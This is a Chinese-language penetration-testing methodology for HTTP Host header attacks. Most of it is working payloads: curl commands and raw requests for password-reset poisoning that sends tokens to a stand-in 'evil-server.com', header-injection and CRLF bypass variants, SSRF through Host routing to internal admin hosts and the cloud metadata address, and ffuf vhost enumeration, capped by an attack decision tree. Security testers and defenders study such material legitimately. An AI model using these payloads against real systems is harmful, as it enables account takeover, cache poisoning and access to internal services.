wgpsec/http-host-header-attacks

HTTP Host Header 攻击方法论

---

1. 核心概念

HTTP Host header 告诉 Web 服务器客户端请求的是哪个网站（虚拟主机路由）。很多应用在以下场景信任 Host header 的值：

• 生成密码重置链接
• 生成绝对 URL
• 缓存键计算
• 路由到内部后端
• 访问控制决策

如果应用不验证 Host header，攻击者可以操纵它来投毒链接、缓存或路由。

---

2. 密码重置投毒

原理

POST /forgot-password HTTP/1.1
Host: evil-server.com                    ← 攻击者替换
Content-Type: application/x-www-form-urlencoded

[email protected]

应用信任 Host 值生成重置链接 → 受害者收到的邮件中链接变为：

https://evil-server.com/reset?token=abc123

受害者点击链接 → token 发送到攻击者服务器。

检测

# 正常请求（记录原始链接格式）
curl -X POST https://target.com/forgot-password \
  -d "[email protected]"

# Host 注入
curl -X POST https://target.com/forgot-password \
  -H "Host: evil-server.com" \
  -d "[email protected]"

# 检查邮件中的链接是否包含 evil-server.com

绕过变体

如果直接替换 Host 被拒绝（400/403）：

# 1. X-Forwarded-Host（最常用）
Host: target.com
X-Forwarded-Host: evil-server.com

# 2. 端口注入
Host: target.com:@evil-server.com

# 3. 绝对 URI
GET https://target.com/forgot-password HTTP/1.1
Host: evil-server.com

# 4. 双 Host header
Host: target.com
Host: evil-server.com

# 5. 换行符注入
Host: target.com
 X-Forwarded-Host: evil-server.com

---

3. Web 缓存投毒（影响说明）

Host header 或 X-Forwarded-Host 注入可作为缓存投毒的输入向量——当响应内容受 Host 值影响且缓存键不包含该头时，被投毒的响应会分发给所有用户。检测到 Host 注入影响响应内容后，应进一步评估缓存投毒的完整利用链。

---

4. 通过 Host 路由的 SSRF

后端路由场景

反向代理根据 Host header 决定转发到哪个后端：

GET / HTTP/1.1
Host: internal-admin.target.com    ← 内部虚拟主机

GET / HTTP/1.1
Host: 169.254.169.254              ← 云元数据

Absolute URI 绕过

GET https://target.com/ HTTP/1.1
Host: 169.254.169.254

某些代理使用 absolute URI 的 host 做 ACL 检查，但用 Host header 做路由。

---

5. 虚拟主机枚举

发现隐藏的内部站点

# 用 ffuf 枚举 vhost
ffuf -u https://target.com -H "Host: FUZZ.target.com" \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  -fs <default-size>

# 指定 IP 直接访问
curl -k https://10.0.0.1/ -H "Host: admin.target.com"

内部面板典型名称

admin, staging, dev, test, internal, api-internal, 
monitoring, grafana, jenkins, gitlab, kibana,
phpmyadmin, adminer, debug, console, management

---

6. 绕过技术（7 种）

6.1 X-Forwarded-Host

Host: target.com
X-Forwarded-Host: evil.com

6.2 双 Host Header

Host: target.com
Host: evil.com

不同中间件取第一个或最后一个 — 代理和后端不一致时产生绕过。

6.3 绝对 URI

GET https://target.com/path HTTP/1.1
Host: evil.com

6.4 Host 端口注入

Host: target.com:evil.com
Host: target.com:@evil.com
Host: target.com:[email protected]

6.5 其他 Override Header

X-Host: evil.com
X-Forwarded-Server: evil.com
X-HTTP-Host-Override: evil.com
Forwarded: host=evil.com

6.6 换行符 / CRLF 注入

Host: target.com%0d%0aX-Forwarded-Host: evil.com

6.7 Tab / 空格

Host: target.com	evil.com
Host: target.com evil.com

---

7. 框架特定行为

| 框架 | Host 处理 | 密码重置风险 | |---|---|---| | Django | 检查 ALLOWED_HOSTS，但 X-Forwarded-Host 不在检查范围 | 高 — X-Forwarded-Host 直接用于 build_absolute_uri() | | Rails | X-Forwarded-Host 优先于 Host | 高 — 直接影响 url_for | | Laravel | 信任 X-Forwarded-* 如果设置了 trusted proxies | 中 — 取决于配置 | | Spring | ForwardedHeaderFilter 处理 Forwarded header | 中 — 取决于是否启用 | | Express/Node | req.hostname 读取 X-Forwarded-Host（在 trust proxy 下） | 中 | | ASP.NET | X-Forwarded-Host 不自动使用 | 低（除非显式配置） |

---

8. Connection State 攻击

HTTP/1.1 Keep-Alive 场景下，部分反向代理只在第一个请求验证 Host，后续请求复用连接：

请求 1: Host: target.com      → 代理验证通过，建立连接
请求 2: Host: internal.com    → 代理不再验证，直接转发 → 访问内部站点

---

9. 决策树

目标有 Host header 注入点？
├── 密码重置功能？
│   ├── 直接替换 Host → 检查邮件链接
│   ├── 403/400？→ X-Forwarded-Host / 双 Host / 端口注入
│   └── 邮件含恶意域名？→ 密码重置投毒成功
├── 有缓存（CDN/Varnish/Nginx）？
│   ├── Host/X-Forwarded-Host 影响响应内容？
│   ├── 响应是否被缓存（X-Cache: HIT）？
│   └── 两者都是？→ Web 缓存投毒
├── 反向代理后多个后端？
│   ├── 枚举 vhost（ffuf + Host fuzz）
│   ├── Host: 169.254.169.254 → 云元数据 SSRF
│   └── Host: internal-admin → 内部面板访问
├── Connection State
│   └── Keep-Alive 复用 → 第二请求切换 Host
└── 全部失败 → 尝试其他注入点或攻击面

深入参考

• HTTP 头部操纵高级技术（CRLF 注入/参数污染/Hop-by-Hop 滥用） → references/host-header-exploitation.md